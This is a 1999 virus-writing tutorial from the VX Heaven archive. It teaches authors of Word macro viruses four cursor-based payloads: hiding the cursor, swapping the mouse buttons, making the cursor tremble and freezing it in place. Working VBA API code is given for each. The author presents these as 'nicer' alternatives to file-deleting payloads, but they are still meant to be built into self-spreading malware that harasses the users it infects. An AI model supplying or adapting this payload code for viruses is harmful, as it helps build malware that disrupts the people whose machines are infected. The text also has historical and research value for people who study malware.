Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Phunny stuff with your cursor

jack twoflower
1999

[Back to index] [Comments]

Introducion

Hi all ppl out there! This is jack twoflower again with some phunny stuff for your macro. I wrote this because there are a lot of ppl which use really shitty payloads in macros like 'Kill "*.*"' which give macros a bad name. So I sad down and thought about 'real' payloads. Then I came to the end that it would be the best if we do something with the cursor. Yeah, the cursor! So i found four payloads for you. I have all used them in one of my macros so I think they will work correctly. Hmm...I should say that you need API calls for every of this payloads.

The four effects I found are:

  1. Hide the cursor
  2. Swap the mousebuttons
  3. Make the cursor go round and round
  4. Nail the cursor

Hmm...it was not easy but no problem, important is that you can read here about it! Have phun!

1. Hide the cursor

This is an easy piece of code. I used it in my very first macro virus. To use this also in your macro you need to add the following line in the head part of the virus:

    Private Declare Function ShowCursor Lib "USER32" _
     (ByVal fShow As Integer) As Integer

This is the api call for this function. So to show or hide the cursor you could use this piece of code:

To hide the cursor use:

      While ShowCursor(False) >= 0
      Wend

To show it again use:

      While ShowCursor(True) < 0
      Wend

This payload can be a lot of fun! What would you say if your cursor gets invisible? Attention, the cursor is only invisible for Word, in Windows the cursor is visible!

2. Swap the mousebuttons

This one is big fun, really. If the user wants to click a menu suddenly the popupmenu appears! *g* You exchange the right button with the left. Also for this payload you need an API call. Insert following into your code:

    Private Declare Function SwapMouseButton Lib "user32" _
       (ByVal bSwap As Long) As Long

To swap the buttons and also swap them back you need the following code:

to swap:

          SwapMouseButton &H2

undo this:

	  SwapMouseButton H2

Easy isn't it? Such less code and so annoing to the user! ;) The next we will talk about is my favourite vba payload ever. Take a look...

3. Make the cursor go round and round

For this payload is a little bit more code needed then for the others, but you get the complete code here! If you want to see this payload in action, look at my cross infector. It has this payload...First you need three API calls.

	Private Declare Function SetCursorPos Lib "USER32" _
	    (ByVal x As Long, ByVal y As Long) As Long

This one sets the cursor position...

	Private Declare Function GetCursorPos Lib "USER32" _
	    (lpPoint As Punkt) As Long

This one gets the cursor position...

	Private Declare Sub Sleep Lib "kernel32" _
	    (ByVal dwMilliseconds As Long)

This one inserts a little break into our loop we need...

Then we have to declare a new Type. It is called 'Punkt' here...

	Private Type Punkt
	       xAchse As Long
	       yAchse As Long
	End Type

After that we take a look at the procedure which starts this payload. It's very important to declare the variables as Long. If you don't the payload won't work correct.

	Dim dies As Long
	Dim das As Long
	Dim posPunkt As Punkt

This here is important...declare as long

	
	Do
	  GetCursorPos posPunkt

Get the current position and save it in posPunkt

        
	  dies = Rnd(2)
		  If dies = 0 Then dies = -5 Else dies = 5

Make new random cursor position x...

	  das = Rnd(2)
		  If das = 0 Then das = -5 Else das = 5

Make new random cursor position y...

	  SetCursorPos posPunkt.xAchse + dies, posPunkt.yAchse + das

Set the new position...

	  Sleep 2

Wait for two milliseconds...

	  DoEvents
	Loop

Next move of the cursor...

This here is more code but with an amazing effect. The cursor will move like an earthquake hits the screen. The cursor 'trembles', you will see. The next one is also a really good payload. I got the idea right while writing this tutorial for our zine. So this one is really brand new...

4. Nail the cursor

The cursor won't move. It remains on the same position. ;) We need the same API calls as for the last one. Here they are:

	Private Declare Function SetCursorPos Lib "USER32" _
	    (ByVal x As Long, ByVal y As Long) As Long

This one sets the cursor position...

	Private Declare Function GetCursorPos Lib "USER32" _
	    (lpPoint As Punkt) As Long

This one gets the cursor position...

Then we have to declare a new Type. It is called 'Punkt' here...

	Private Type Punkt
	       xAchse As Long
	       yAchse As Long
	End Type

Sorry we don't need the sleep command again coz our cursor is nailed and remains nailed! So now look at the procedure which starts the paylaod.

	Dim posPunkt As Punkt
	GetCursorPos posPunkt

Save again the position...

  
	Do

Make a loop again...

	  SetCursorPos posPunkt.xAchse, posPunkt.yAchse

Set the position. Everytime at the same position so the cursor stands still.

  
	Loop

Play it again Sam!

Wow...the cursor won't move anymore!

Conclusion

I hope this here will inspire you that you won't write payloads that screw up others data and so. This is what makes macro a bad name and we if you want to make it a 'good' name use stuff like this or find your own non-destructive payloads. I think it's a great effect if you nail a cursor than deleting some files (this can be done by a batch file!). So in this sense...

have phun,

			jack twoflower

© 99 LineZer0 Network

By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua